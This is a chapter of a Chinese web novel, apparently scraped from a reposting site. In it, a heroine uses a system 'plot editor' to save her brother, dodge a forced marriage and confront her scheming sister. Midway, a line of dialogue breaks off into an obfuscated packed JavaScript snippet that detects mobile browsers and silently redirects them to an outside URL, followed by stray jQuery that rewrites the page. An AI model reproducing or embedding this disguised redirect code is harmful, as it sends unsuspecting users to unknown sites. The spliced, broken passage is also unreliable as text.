27. 第二十七章

作品:《关于我搞错系统任务这件事

    季明月被一股蛮力拉出水面,又呛出一口水,恍惚间看见季玄晖的脸,他的眼睛在幽暗的水下依然明亮,嘴角依稀带着几分她熟悉的无奈的笑,但下一秒,他的身体如断线的木偶,缓缓沉向深渊。


    “你们不要下水!这里面有漩涡!下去了就是死!”季明月躺在地上吐了两口水,挣扎着翻了个身爬起来,试图阻拦那些要下水救人的府兵。


    她的眼睛干涩得发痛,只是死死盯着水面,那里早已平静如镜,仿佛从未吞噬过什么。指甲深深陷进潮湿的泥土里,指甲缝里嵌满了碎砂和枯叶,却丝毫感觉不到疼。


    强烈的恨意在季明月胸膛里翻滚,烧得她五脏六腑都在灼痛。她愿将这满腔恨意化作炙热的火,将那生铁烧得赤红滚烫,然后全部浇筑在季照微的天灵盖上,让她也尝尝这剜心蚀骨的滋味。


    她到底怎么惹季照微了?季明月自小拥有的锦衣玉食,她现在不是一样享有吗?难道真的是为了李砚舟吗,可他不过是个男人,至于杀人吗?为什么用设计这么卑劣的手段,为什么要用男权规则惩罚女性呢?


    别把别人的善良当做软弱!真以为这样就能毁了她?就算昨夜让歹人得逞,她季明月也会活得比谁都张扬,因为该下地狱的根本就不是她!


    【系统,我要使用剧情编辑器。无需重复确认,我现在就要拿100积分兑换】


    【好的,兑换成功,剩余积分30分。请使用剧情编辑器】


    【被赐婚嫁与裴云骁的不是季明月,而是季照微,季玄晖没有因救季明月而溺水身亡】


    【已修改剧情】


    一阵强烈的眩晕下,季明月感到自己的灵魂仿佛被硬生生扯出躯体,又狠狠塞回。她猛地睁开眼,大口喘息,掌心下意识抚上胸口,干燥的衣料,平稳的心跳。


    “我哥呢?!”她猝然起身,然后头就一下撞到马车顶棚,给她砸得眼冒金星。不是,她怎么还坐在马车里?


    雁回正倚在窗边嗑瓜子,被她这一惊一乍吓得手抖。本来坐在马车里就烦闷,看见季明月又哭又笑得就更烦,心里默默翻了个白眼,问道:“又咋了我的姑奶奶?你哥不就在前头骑马吗?”


    季明月猛地扯开帷幔,放眼望去,一马平川的田里开满了黄灿灿的油菜花,金浪翻滚中,季玄晖骑着马,慢悠悠在最前面领路,嘴里还叼着根草茎,时不时回头冲她咧嘴一笑。可这不正是她北上前两天走过的路吗?


    “我怎么还在这里?!”季明月一把握住雁回的手问道。


    雁回慢吞吞说:“不是你自己求了夫人,说想北上踏青,死缠烂打跟着大姑娘的婚车吗?”


    吓死了,不是她去成亲就好。


    季明月又跌坐回锦垫里,不断调整呼吸让自己放松下来,细心观察着周边的变化。首先,送亲队伍明显精简了许多,原先浩浩荡荡的嫁妆车短了一大截,显然是嫁妆没有之前那么多了。


    人员也有变化,凌绿珠安排在里面的商队不见了,护卫少了一大半,英娘也并未同行,而是换了季照微身边的云敛,那丫头此刻正骑着青驴,阴恻恻地往这边瞟。


    “李砚舟呢?”季明月终于想起来这号人了。


    雁回说:“李砚舟十二时辰守着季照微,寸步不离。”她犹豫再三,还是跟季明月说了,昨天夜里她出来解手,落后大部队一截,等追上时,路过一片小树林,依稀听到季照微哭哭啼啼的声音,什么“带我回柳溪镇”“我不愿”之类的话,李砚舟的声音压得很低,她根本听不清说了什么。


    雁回留了心眼,蹑手蹑脚靠近一看,茂密树林里,季照微柔柔弱弱依偎在李砚舟怀里,那亲密的样子,雁回都没眼看。


    “真没想到微姑娘平日里装得跟个玉人似的,这都要成亲了,竟然还和别的男人拉拉扯扯搂搂抱抱。”雁回撇嘴道。


    季明月大火:“一只巴掌能拍得响吗?人家靠,他就搂,真不要脸!”


    还有,先前不是拿全府上下性命逼着我嫁嘛?怎么到了自己身上,就是这副嘴脸,倒要带着李砚舟私奔呢,你也太双标了吧,季照微。


    “坐得腰酸背痛,我下来走走。”季明月利落地跃下马车,提着裙摆朝着季玄晖奔去。


    “小满,你怎么出来了?这沿途的风光可还入得了你的眼?”季玄晖勒住缰绳,眉开眼笑地俯身看她。


    望着兄长鲜活的笑脸,季明月这才稍微释怀些,好歹季玄晖这个大冤种兄长是保住了。她笑嘻嘻凑上去:“车里闷得慌,阿姊呢,还把自己封车里?”


    季玄晖不以为意地摆摆手:“她说待嫁之身不宜抛头露面。”


    季明月踮脚凑近兄长耳边:“哦哦。不过哥你还是要把人看好了才是,万一人家临时反悔了,随便找了个什么人私奔,咱们家可都小命不保喽。”


    季玄晖闻言大笑,伸手揉了揉她的发顶:“你这丫头尽胡说!阿姊最是守礼,哪像你这般离经叛道?婚姻大事,岂能当儿戏?”


    季明月扬鞭策马,任由春风拂面。很快李砚舟追上了她,季明月余光瞥见那道挺拔的身影,心中蓦地一涩。唉,这时间一倒流,两人吻得难舍难分那一夜,恐怕也只有她自己记得了,又或者说,现在根本没发生过。


    两匹马并辔而行,李砚舟始终沉默。唯有哒哒的马蹄声,比李砚舟的心还乱。


    季照微说,她得了一副龟息散,此药吃完,整个人会陷入假死的状态,她只要寻个机会服下,就可以神不知鬼不觉来一场金蝉脱壳,而李砚舟唯一要做的事,就是将她的“尸身”带走。


    “你出征,我便为你守着营帐。你解甲归田,我们便回柳溪镇……就像从前那样。”她说。


    可是真的还能如从前一般吗?


    他该说什么?说柳溪镇的旧约早已蒙尘?说起自己的理想抱负还未实现?还是说,当他看见季明月纵马时,心跳总会漏了一节拍?


    “我会带你走。”他最终这样回答季照微。这句话太重了,重得他必须用全身力气才能说出口。


    “你有话快说,有屁快放。别耽误我看风景。”季明月哼哼。


    “你今日……骑得很快。”他开口,嗓音低沉,像是斟酌了许久才挑出这句无关痛痒的话。


    季明月挑眉看他:“怎么,又来教训我骑术不精的?”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094070|179721||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他摇头,目光落在远处山峦的轮廓上:“我只是觉得,你这一路都在躲我。”


    季明月嗤笑一声:“我躲你干什么?明明是你躲着我呀!半夜三更和人在林子里密谋,怎么,准备私奔啊?”


    李砚舟侧头看她,眼底情绪晦暗不明:“若我说是呢?”


    “只要不连累我,连累季家,与我何干。”季明月盯着远处摇晃的树影,就是不肯看他的眼睛:“走就是喽,趁早走,省得整天在我眼前晃悠,碍眼得很。”


    话音刚落就狠狠夹紧马腹,小马吃痛窜出老远。这样就好,她迎着风眯起眼睛,心里想,一个书里的虚拟人物,她何必在意太多。


    到了晚上,季明月盘腿坐在火堆旁,看着架在篝火上的兔肉滋滋冒油。


    “再转一转。”她戳了戳雁回,“这边要烤焦了。”兔肉表皮渐渐泛起金黄,油脂滴落在火堆里,溅起细小的火星。季明月撕下一小块尝了尝,说:“真好吃!”


    季玄晖在一旁笑她:“你那是饿狠了,啃树皮都香。”


    酒足饭饱后,她仰面躺在铺开的斗篷上。星空格外低垂,仿佛一伸手就能捞到星星。


    季照微终于露了面,许久没见,她整个人清减了不少,一身素衣,更显单薄。


    “来,阿姊,刚烤好的兔肉,快来尝尝!”季玄晖乐呵呵地招呼季照微。


    季明月见季照微款款走来,眼皮都懒得抬,眼不见心不烦地翻了个身,把后背留给季照微。


    “好香,哪里来的兔子?”季照微的声音柔柔地飘过来,还没靠近,季明月就闻到一股淡淡的香气,是季照微惯用的沉水香。


    “还能有谁?砚舟兄打来的野兔。本来还有一只更肥的,他瞧见是只带着崽的母兔,又给放了。”季玄晖说。


    季明月听到是李砚舟逮的,顿时没有胃口,把没吃完的兔腿往季玄晖手里一塞:“我不吃了。”


    “阿柳人呢?”季照微问道。


    季玄晖朝远处努了努嘴:“他啊,说是不饿,自个儿去溪边啃干粮了。”


    季明月和丫鬟护卫们玩麻将,输了的人要往脸上贴萝卜皮。谁知季明月情场失意,赌场也不得意,几圈下来,连牌都没听过,脸上被贴满了萝卜皮,还被季玄晖好一阵嘲笑。


    她气鼓鼓地甩袖回马车,一掀帘子,却见季照微正端坐在她的软垫上,脸上还挂着那副悲天悯人的神情。季明月心头火起,一把抽出镶着红宝石的波斯弯刀,“铮”的一声抵在季照微雪白的颈子上,恶狠狠地说:“我真想现在就一刀抹了你。”


    “小满怎么好端端发这么大火?不是你让我去讨好裴云骁,不是你巴不得我嫁给他吗?现在你的梦想成真了,怎么反倒要杀我?”季照微的嗓音一如既往柔婉动听。


    季明月说:“少在这装模作样,你这个口蜜腹剑的女人,别以为我不知道你在打什么算盘。”


    “不管怎么样,我赢了,阿柳永远是我的,你抢不走。”季照微正襟危坐,没有丝毫的慌乱。


    “你赢个屁?谁跟你玩抢男人那套!天底下的好儿郎多的是,老娘不屑。”季明月怒道。